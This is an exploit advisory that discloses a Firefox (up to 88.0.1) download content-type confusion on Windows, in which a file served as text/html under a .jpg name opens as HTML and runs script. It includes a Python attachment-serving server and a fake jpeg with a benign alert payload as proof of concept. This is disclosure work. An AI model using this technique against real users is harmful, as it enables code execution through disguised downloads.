# Date: 20/05/2021
# Exploit Authors: Carlo Di Dato and Michael Caruso from BestEffort Team (https://besteffortteam.it)
# Vendor Homepage: https://www.mozilla.org
# Version: <= 88.0.1
# Tested on: Windows XP Professional SP3 32-bit, Windows 7 Professional SP1 64-bit, Windows 10 20H2 (build SO 19042.805)
# Blog: https://besteffortteam.it/mozilla-firefox-content-type-confusion-unsafe-code-execution/
A vulnerability has been identified in the way Mozilla Firefox
handles downloaded files on Windows.
Unlike the other most used browsers (Google Chrome, Internet
Explorer, Edge), the action Mozilla Firefox takes is based on the
"Content-Type" attribute.
Let's consider a scenario in which a server responds to the client
in this way:
Content-Type: audio/mpeg
Content-Disposition: attachment; filename="test.jpg"
What one would expect, is that Mozilla Firefox will handle the
file as an image (.jpg) but it is not and the "open-with" window
will ask the user to open a mp3 file.
By itself, this is not a problem (although we do not agree with the
choice), however we have found that in a particular circumstance,
it is possible to "confuse" Firefox using a combination of
"Content-Type" attribute and file extension which leads to the
arbitrary execution of code. Specifically, if a server responds
with a "Content-Type: text/html" and a filename that has the
extension ".jpg", Mozilla Firefox will show the end user an
"open-with" mask, asking to open the jpg file with the default
program (usually a browser), but will download the above mentioned
file into the system's temporary folder using the extension
".html". Subsequently, the downloaded file will be opened using the
default program for .html files (browsers). It is easy to
understand that it is possible to create a fake image, containing
JavaScript code, which will lead to the execution of the code
itself.
As proof of concept, we used the following ready-made python
web-server
(server.py):
try:
import http.server as BaseHTTPServer # Python 3.x
except ImportError:
import BaseHTTPServer # Python 2.x
import os
import shutil
import sys
FILEPATH = sys.argv[1] if sys.argv[1:] else __file__
class
SimpleHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
def do_GET(self):
with open(FILEPATH, 'rb') as f:
self.send_response(200)
#self.send_header("Content-Type", 'text/html')
self.send_header("Content-Disposition",
'attachment;filename="{}"'.format(os.path.basename(FILEPATH)))
fs = os.fstat(f.fileno())
self.send_header("Content-Length", str(fs.st_size))
self.end_headers()
shutil.copyfileobj(f, self.wfile)
def test(HandlerClass=SimpleHTTPRequestHandler,
ServerClass=BaseHTTPServer.HTTPServer,
protocol="HTTP/1.0"):
if sys.argv[2:]:
port = int(sys.argv[2])
else:
port = 8000
server_address = ('', port)
HandlerClass.protocol_version = protocol
httpd = BaseHTTPServer.HTTPServer(server_address, HandlerClass)
sa = httpd.socket.getsockname()
print("Serving HTTP on {0[0]} port {0[1]} ... {1}".format(sa,
FILEPATH))
httpd.serve_forever()
if __name__ == '__main__':
test()
a fake jpeg (test.jpg) containing the following code:
<script>
alert("D'oh! This is not a jpeg file!!!");
</script>
Then we ran the python script in this way: python server.py test.jpg
Once a user browse the malicious server, Mozilla Firefox will ask for opening the file and, if the user click confirms the operation, the file will be downloaded and executed.
